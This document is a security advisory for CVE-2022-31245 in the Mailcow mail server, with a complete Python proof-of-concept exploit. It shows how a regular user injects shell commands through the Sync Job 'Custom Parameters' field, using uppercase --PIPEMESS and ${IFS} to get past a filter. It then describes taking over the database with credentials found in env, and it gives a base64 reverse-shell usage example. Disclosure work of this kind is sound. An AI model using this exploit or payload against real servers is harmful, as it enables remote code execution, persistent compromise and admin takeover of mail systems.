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Mailcow CVE-2022-31245

CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC.

Reported and fixed: 2022-05

Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

CVE-2022-31245: Command Injection, RCE

Severity: 3/3
Type: Command Injection, RCE, Domain Takeover
Affected versions: least 2019 - 2022-05c

A flaw exists in all recent Mailcow versions where a regular user of the system can exploit the “Sync Job” feature to gain a shell using a command injection in imapsync. Using this vunerability a attacker can then easily pivot to the database and escalate privileges to the role of “Domain Admin” in Mailcow.

This exploit includes persistence by default since Sync Jobs run on a timer.

This exploit compromises the entire Mailcow instance. Tested and working on release as of 2022-05c. Patched in 2022-05d.

Technical overview

Using the steps below the vulnerability can be recreated.

Gaining shell:

  1. Go to the Mailcow login page (not SOGo)
  2. Login as a regular user
  3. Go to Sync Jobs
  4. Set the following values: hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD Where the field "Custom Parameters" is the important field. CMD can be a arbitrary shell command without spaces. Using uppercase is important!
  5. Press save and wait 1 min for the command to execute.

Custom Parameters example payload:

--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt

CMD cannot contain space,quotes or slashes use ${IFS} instead of space. Uppercase for --PIPEMESS is important to bypass check in functions.mailbox.inc.php at line 340:

if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}

This uppercase command still works due to the fact that imapsync is case insensitive.

Privilege Escalation:

  1. After gaining shell on the dovcot container run env
  2. Find DBUSER and DBPASS
  3. Login to database using mysql and credentials
  4. Create new admin user or create a new admin API-key

Proof-of-Concept, POC

Automated POC. POC could in some cases need modification to run against non-local Mailcow instances.

#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")